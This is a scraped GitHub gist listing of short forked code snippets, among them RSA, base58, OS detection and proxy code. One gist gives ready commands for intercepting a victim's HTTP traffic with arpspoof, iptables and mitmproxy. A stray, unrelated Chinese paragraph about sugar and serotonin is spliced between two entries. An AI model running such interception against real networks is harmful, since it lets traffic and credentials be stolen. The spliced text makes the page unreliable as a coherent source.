angeloped’s gists

angeloped / keydown.coffee

Created May 31, 2020 19:22 — forked from tiye/keydown.coffee

keyCode of keydown event in JSON format


	# keydown data from the web
	# http://www.cambiaresearch.com/articles/15/javascript-char-codes-key-codes

	map =
	backspace: 8
	tab: 9
	enter: 13
	shift: 16
	ctrl: 17

angeloped / rsa.py

Created June 21, 2020 08:26

A simple RSA implementation in Python

	'''
	620031587
	Net-Centric Computing Assignment
	Part A - RSA Encryption
	'''

	import random


	'''

angeloped / base58.py

Created January 3, 2021 08:01 — forked from ianoxley/base58.py

base58 encoding in Python

	""" base58 encoding / decoding functions """
	import unittest

	alphabet = '123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ'
	base_count = len(alphabet)

	def encode(num):
	""" Returns num in a base58-encoded string """
	encode = ''

angeloped / bitconvert.py

Created January 12, 2021 04:50 — forked from laurenarcher/bitconvert.py

Simple python bitcoin currency converter using the Bitcoin Charts API. Documentation here: http://bitcoincharts.com/about/markets-api/

	import urllib2
	import json

	data = urllib2.urlopen("http://api.bitcoincharts.com/v1/weighted_prices.json")

	def convert_to_bitcoin(amount, currency):
	bitcoins = json.loads(data.read())
	converted = float(bitcoins[currency]["24h"]) * amount
	print converted

angeloped / kali-linux-mitmproxy-transparent-arpspoof.md

Created February 4, 2021 04:05 — forked from jkullick/kali-linux-mitmproxy-transparent-arpspoof.md

Intercept HTTP Traffic with Mitmproxy and Arpspoof on Kali Linux

sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

arpspoof -i $INTERFACE -t $VICTIM_IP $GATEWAY_IP

angeloped / detect.js

Created February 7, 2021 13:34 — forked from hkulekci/detect.js

Detect Operating System with Javascript

	// This script sets OSName variable as follows:
	// "Windows" for all versions of Windows
	// "MacOS" for all versions of Macintosh OS
	// "Linux" for all versions of Linux
	// "UNIX" for all other UNIX flavors
	// "Unknown OS" indicates failure to detect the OS

	var OSName="Unknown OS";
	if (navigator.appVersion.indexOf("Win")!=-1) OSName="Windows";
	if (navigator.appVersion.indexOf("Mac")!=-1) OSName="MacOS";

angeloped / gist:64bd475d2fb40a81b6b40d6485adb83d

Created February 8, 2021 20:35 — forked from zliuva/gist:1084476

A minimal Mach-o x64 executable for OS X

	; A minimal Mach-o x64 executable for OS X (also see below Mountain Lion version)
	;
	; $ nasm -f bin -o tiny_hello tiny_hello.s
	; $ chmod +x tiny_hello
	; $ ./tiny_hello
	; Hello World!
	; $

	; c.f.
	; http://osxbook.com/blog/2009/03/15/crafting-a-tiny-mach-o-executable/ ( the original tiny mach-o executable )

angeloped / sigmoidGraph.py

Created February 17, 2021 09:42 — forked from Will-777/sigmoidGraph.py

simple sigmoid function with Python

	#import section
	from matplotlib import pylab
	import pylab as plt
	import numpy as np

	#sigmoid = lambda x: 1 / (1 + np.exp(-x))
	def sigmoid(x):
	return (1 / (1 + np.exp(-x)))

	mySamples = []

糖份進入身體之後，會刺激大腦釋放「血清素」(serotonin)以及「多巴胺」(dopamine)，這兩種神經傳導物質會讓人「感覺良好」。這能解釋為何很多人一旦壓力大，就想吃甜的；吃了甜食，就覺得心情好多了。

angeloped / http_proxy_connect.py

Created December 13, 2021 09:50 — forked from frxstrem/http_proxy_connect.py

Establish a socket connection through an HTTP proxy in Python.

	'''
	Establish a socket connection through an HTTP proxy.

	Author: Fredrik Østrem <[email protected]>

	License:
	Copyright 2013 Fredrik Østrem

	Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
	documentation files (the "Software"), to deal in the Software without restriction, including without

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